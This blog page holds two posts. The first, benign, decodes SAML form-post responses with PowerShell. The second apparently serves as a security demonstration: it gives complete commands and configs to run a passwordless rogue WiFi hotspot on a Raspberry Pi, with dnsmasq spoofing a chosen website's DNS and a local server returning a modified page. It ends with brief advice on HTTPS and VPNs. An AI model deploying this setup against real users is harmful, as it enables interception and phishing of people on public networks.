10 May

Decoding SAML responses in form post data using PowerShell

If you are ever inspecting a network trace when diagnosing SAML issues and the computer you are using is restricted enough that you cannot install useful SAML specific tools, you can always use PowerShell to help you demystify the network trace.

The techniques in this post can be used for decoding any application/x-www-form-urlencoded data however I will describe fully the procedure for decoding the SAMLResponse HTTP POST data and displaying the resultant XML in a nicely indented format.

In your network trace you will see HTTP POST data similar to the following:


SAMLResponse=PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2
wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfOGU4ZGM1ZjY5YTk4Y2M0Y
zFmZjM0MjdlNWNlMzQ2MDZmZDY3MmY5MWU2IiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAxNC0wNy0xN1QwMTowMTo0
OFoiIERlc3RpbmF0aW9uPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyIgSW5SZXNwb25zZVRvPSJ
PTkVMT0dJTl80ZmVlM2IwNDYzOTVjNGU3NTEwMTFlOTdmODkwMGI1MjczZDU2Njg1Ij48c2FtbDpJc3N1ZXI%2baHR0cDovL2lk
cC5leGFtcGxlLmNvbS9tZXRhZGF0YS5waHA8L3NhbWw6SXNzdWVyPjxzYW1scDpTdGF0dXM%2bPHNhbWxwOlN0YXR1c0NvZGUgV
mFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIgLz48L3NhbWxwOlN0YXR1cz48c2FtbDpB
c3NlcnRpb24geG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeG1sbnM6eHM9Imh
0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiBJRD0iX2Q3MWEzYThlOWZjYzQ1YzllOWQyNDhlZjcwNDkzOTNmYzhmMD
RlNWY3NSIgVmVyc2lvbj0iMi4wIiBJc3N1ZUluc3RhbnQ9IjIwMTQtMDctMTdUMDE6MDE6NDhaIj48c2FtbDpJc3N1ZXI%2baHR
0cDovL2lkcC5leGFtcGxlLmNvbS9tZXRhZGF0YS5waHA8L3NhbWw6SXNzdWVyPjxzYW1sOlN1YmplY3Q%2bPHNhbWw6TmFtZUlE
IFNQTmFtZVF1YWxpZmllcj0iaHR0cDovL3NwLmV4YW1wbGUuY29tL2RlbW8xL21ldGFkYXRhLnBocCIgRm9ybWF0PSJ1cm46b2F
zaXM6bmFtZXM6dGM6U0FNTDoyLjA6bmFtZWlkLWZvcm1hdDp0cmFuc2llbnQiPl9jZTNkMjk0OGI0Y2YyMDE0NmRlZTBhMGIzZG
Q2ZjY5YjZjZjg2ZjYyZDc8L3NhbWw6TmFtZUlEPjxzYW1sOlN1YmplY3RDb25maXJtYXRpb24gTWV0aG9kPSJ1cm46b2FzaXM6b
mFtZXM6dGM6U0FNTDoyLjA6Y206YmVhcmVyIj48c2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uRGF0YSBOb3RPbk9yQWZ0ZXI9IjIw
MjQtMDEtMThUMDY6MjE6NDhaIiBSZWNpcGllbnQ9Imh0dHA6Ly9zcC5leGFtcGxlLmNvbS9kZW1vMS9pbmRleC5waHA%2fYWNzI
iBJblJlc3BvbnNlVG89Ik9ORUxPR0lOXzRmZWUzYjA0NjM5NWM0ZTc1MTAxMWU5N2Y4OTAwYjUyNzNkNTY2ODUiIC8%2bPC9zYW
1sOlN1YmplY3RDb25maXJtYXRpb24%2bPC9zYW1sOlN1YmplY3Q%2bPHNhbWw6Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMTQtM
DctMTdUMDE6MDE6MThaIiBOb3RPbk9yQWZ0ZXI9IjIwMjQtMDEtMThUMDY6MjE6NDhaIj48c2FtbDpBdWRpZW5jZVJlc3RyaWN0
aW9uPjxzYW1sOkF1ZGllbmNlPmh0dHA6Ly9zcC5leGFtcGxlLmNvbS9kZW1vMS9tZXRhZGF0YS5waHA8L3NhbWw6QXVkaWVuY2U
%2bPC9zYW1sOkF1ZGllbmNlUmVzdHJpY3Rpb24%2bPC9zYW1sOkNvbmRpdGlvbnM%2bPHNhbWw6QXV0aG5TdGF0ZW1lbnQgQXV0
aG5JbnN0YW50PSIyMDE0LTA3LTE3VDAxOjAxOjQ4WiIgU2Vzc2lvbk5vdE9uT3JBZnRlcj0iMjAyNC0wNy0xN1QwOTowMTo0OFo
iIFNlc3Npb25JbmRleD0iX2JlOTk2N2FiZDkwNGRkY2FlM2MwZWI0MTg5YWRiZTNmNzFlMzI3Y2Y5MyI%2bPHNhbWw6QXV0aG5D
b250ZXh0PjxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlB
hc3N3b3JkPC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPjwvc2FtbDpBdXRobkNvbnRleHQ%2bPC9zYW1sOkF1dGhuU3RhdGVt
ZW50PjxzYW1sOkF0dHJpYnV0ZVN0YXRlbWVudD48c2FtbDpBdHRyaWJ1dGUgTmFtZT0idWlkIiBOYW1lRm9ybWF0PSJ1cm46b2F
zaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIj48c2FtbDpBdHRyaWJ1dGVWYWx1ZSB4c2k6dHlwZT
0ieHM6c3RyaW5nIj50ZXN0PC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjwvc2FtbDpBdHRyaWJ1dGU%2bPHNhbWw6QXR0cmlidXRlIE5
hbWU9Im1haWwiIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiPj
xzYW1sOkF0dHJpYnV0ZVZhbHVlIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3RAZXhhbXBsZS5jb208L3NhbWw6QXR0cmlidXRlV
mFsdWU%2bPC9zYW1sOkF0dHJpYnV0ZT48c2FtbDpBdHRyaWJ1dGUgTmFtZT0iZWR1UGVyc29uQWZmaWxpYXRpb24iIE5hbWVGb3
JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiPjxzYW1sOkF0dHJpYnV0ZVZhb
HVlIHhzaTp0eXBlPSJ4czpzdHJpbmciPnVzZXJzPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhz
aTp0eXBlPSJ4czpzdHJpbmciPmV4YW1wbGVyb2xlMTwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjwvc2F
tbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2bPC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3d%3d

To decode this, we need to initially interpret this data as application/x-www-form-urlencoded data and for this we will use the HttpUtility.ParseQueryString available in System.Web.dll.

First off we need to load the System.Web assembly:

[System.Reflection.Assembly]::LoadWithPartialName("System.Web")

If it is successfull we will see output similar to the following:


GAC Version Location
--- ------- --------
True v4.0.30319 C:\WINDOWS\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll

Now let’s assign our form data to a variable and parse it:

$urlencodedformdata = @"
SAMLResponse=PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2
wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfOGU4ZGM1ZjY5YTk4Y2M0Y
zFmZjM0MjdlNWNlMzQ2MDZmZDY3MmY5MWU2IiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAxNC0wNy0xN1QwMTowMTo0
...................................................................................................
...................................................................................................
...................................................................................................
JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiPjxzYW1sOkF0dHJpYnV0ZVZhb
HVlIHhzaTp0eXBlPSJ4czpzdHJpbmciPnVzZXJzPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhz
aTp0eXBlPSJ4czpzdHJpbmciPmV4YW1wbGVyb2xlMTwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjwvc2F
tbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2bPC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3d%3d
"@
$parsedformdata = [System.Web.HttpUtility]::ParseQueryString($urlencodedformdata)

If everything was successful we should get pure base64 encoded data as the value of the SAMLResponse entry in $parsedformdata

$parsedformdata["SAMLResponse"]
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2
......................................................................................
......................................................................................
......................................................................................
tbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ+PC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg==

At this point we can get the XML by base64 decoding the data and interpreting it as a UTF8 string:

$base64encodedxml = $parsedformdata["SAMLResponse"]
$xml = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($base64encodedxml))

At this point $xml should look like the following:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"><saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" /></samlp:Status><saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_d71a3a8e9fcc45c9e9d248ef7049393fc8f04e5f75" Version="2.0" IssueInstant="2014-07-17T01:01:48Z"><saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><saml:Subject><saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685" /></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2014-07-17T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z"><saml:AudienceRestriction><saml:Audience>http://sp.example.com/demo1/metadata.php</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2014-07-17T01:01:48Z" SessionNotOnOrAfter="2024-07-17T09:01:48Z" SessionIndex="_be9967abd904ddcae3c0eb4189adbe3f71e327cf93"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue></saml:Attribute><saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">[email protected]</saml:AttributeValue></saml:Attribute><saml:Attribute Name="eduPersonAffiliation" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">users</saml:AttributeValue><saml:AttributeValue xsi:type="xs:string">examplerole1</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

Now we can use the XmlTextWriter class to indent and format the XML for us.

Jeffrey Snover has already given a sample snippet on how this can be done over at the PowerShell Team Blog. I have repeated their code here:

function Format-XML ($xml, $indent=2) 
{ 
    $StringWriter = New-Object System.IO.StringWriter 
    $XmlWriter = New-Object System.XMl.XmlTextWriter $StringWriter 
    $xmlWriter.Formatting = “indented” 
    $xmlWriter.Indentation = $Indent 
    $xml.WriteContentTo($XmlWriter) 
    $XmlWriter.Flush() 
    $StringWriter.Flush() 
    Write-Output $StringWriter.ToString() 
}

We finally use this function to format our XML data nicely on screen:

Format-Xml -xml $xml -indent 4

Our final output should look like this:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
    <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer>
    <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </samlp:Status>
    <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_d71a3a8e9fcc45c9e9d248ef7049393fc8f04e5f75" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
        <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer>
        <saml:Subject>
            <saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685" />
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="2014-07-17T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
            <saml:AudienceRestriction>
                <saml:Audience>http://sp.example.com/demo1/metadata.php</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>
        <saml:AuthnStatement AuthnInstant="2014-07-17T01:01:48Z" SessionNotOnOrAfter="2024-07-17T09:01:48Z" SessionIndex="_be9967abd904ddcae3c0eb4189adbe3f71e327cf93">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>
        <saml:AttributeStatement>
            <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
            </saml:Attribute>
            <saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <saml:AttributeValue xsi:type="xs:string">[email protected]</saml:AttributeValue>
            </saml:Attribute>
            <saml:Attribute Name="eduPersonAffiliation" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <saml:AttributeValue xsi:type="xs:string">users</saml:AttributeValue>
                <saml:AttributeValue xsi:type="xs:string">examplerole1</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>
</samlp:Response>

This is a lot more readable than what we had to begin with. Hopefully if you ever find yourself in this situation you will remember that PowerShell can come to your rescue.

15 Dec

Create a WiFi hotspot and modify HTTP requests using the Raspberry Pi 3

Recently I was demonstrating the dangers of public WiFi, or indeed any untrusted network. Regardless of whether the WiFi has a password or not, the owner of the wireless access points can read, inspect and modify all the data you send over the connection.

To best demonstrate this I set up a rogue WiFi hotspot using a Raspberry Pi 3. The Raspberry Pi was setup to do 4 things:

  1. Act as a WiFi hotspot broadcasting a wireless network that did not have a password.
  2. Respond to DNS requests from all clients connected to it’s WiFi and had DNS server information obtained by DHCP.
  3. Return the access points IP address when a client requested the IP address of a well known website.
  4. Run a web server that returns a modified version of the well known website.

Below I take you through the installation and configuration steps necessary to achieve this.

I used Arch Linux on the Raspberry Pi 3 and so it is necessary to follow the ARMv7 installation instructions at https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-3 before continuing.

SSH into the Raspberry Pi using the alarm user with password alarm, change both root and alarm user passwords. (See https://wiki.archlinux.org/index.php/Users_and_groups for those unfamiliar with Arch Linux).

For convenience and security it is recommended to disable password authentication and enable public key authentication. (see https://wiki.archlinux.org/index.php/Secure_Shell#Force_public_key_authentication for those unfamiliar with Arch Linux)

Prepare the Raspberry Pi by executing the following commands as root (using su, see here for more information for those unfamiliar with su).

NOTE: Confirm any prompts that you receive

pacman -Syu
groupadd sudo
usermod -aG sudo alarm
pacman -S --needed base-devel
pacman -S git-core nodejs npm dnsmasq hostapd screen wget

At this point logout and log back in and you should be able to prefix commands that need root privileges with sudo

Create a directory called wifi

mkdir wifi
cd wifi/

create a file called hostapd.conf, in the current directory and populate it’s contents with the following:

beacon_int=100
ssid=Public-Hotspot
interface=wlan0
driver=nl80211
channel=1
ignore_broadcast_ssid=0
ap_isolate=0
hw_mode=g
logger_stdout=-1
logger_stdout_level=0

create a file called dnsmasq.conf, in the current directory and populate it’s contents with the following:

# Configuration file for dnsmasq.

port=53
domain-needed
bogus-priv
server=8.8.8.8
server=8.8.8.4
address=/example.com/192.168.30.1
interface=wlan0
dhcp-range=192.168.30.2,192.168.30.253,255.255.255.0,60m
dhcp-option=vendor:MSFT,2,1i
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log

NOTE: Replace line 8 with whatever website you wish to redirect to the Pi for modification.

Now we need to update the system to use our local DNS server

sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo rm /etc/resolv.conf
sudo touch /etc/resolv.conf

modify /etc/resolv.conf so it’s contents are as follows:

nameserver 127.0.0.1
nameserver 8.8.8.8

modify hostapd.conf and dnsmasq.conf to suit your needs and then you’re almost ready.

create a file called start_ap.sh in the current directory and make it executable. Populate it’s contents with the following:

#!/bin/bash

ip link set up dev wlan0
ip addr add 192.168.30.1/24 broadcast 192.168.30.255 dev wlan0

hostapd ./hostapd.conf &

sysctl net.ipv4.ip_forward=1

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -P FORWARD ACCEPT
iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -I INPUT -p udp --dport 67 -i wlan0 -j ACCEPT
iptables -I INPUT -p udp --dport 53 -s 192.168.30.0/24 -j ACCEPT
iptables -I INPUT -p tcp --dport 53 -s 192.168.30.0/24 -j ACCEPT

dnsmasq -C ./dnsmasq.conf

cd example.com/
node server.js &
cd ..

Optionally now download an example modified page for the example.com:

wget https://lanphier.co.uk/wp-content/uploads/2016/12/example.tar.gz
tar -xzvf example.tar.gz
cd example.com/
npm install
cd ..

You can now start the wifi hotspot using the following:

#start the WiFi
sudo ./start_ap.sh

As soon as you disconnect from the SSH then the processes launched to create the AP and node server will be terminated. To prevent this run the start wifi command inside of a screen session:

screen -S wifi
sudo ./start_ap.sh

You can detach from the screen by pressing ctrl+a and then ctrl+d. To reattach to the screen at a later date then SSH onto the Raspberry Pi and type

screen -x wifi

Protect against rogue hotspots

Any websites that use HTTPS should create a secure channel that the hotspot cannot read, however the hotspots will still be able to see that you are connecting to those secure sites though they will not be able to see the data you exchange.

The best possible protection is to use a VPN. This creates a secure tunnel to a third party and so all your traffic is secure against the hotspot owner.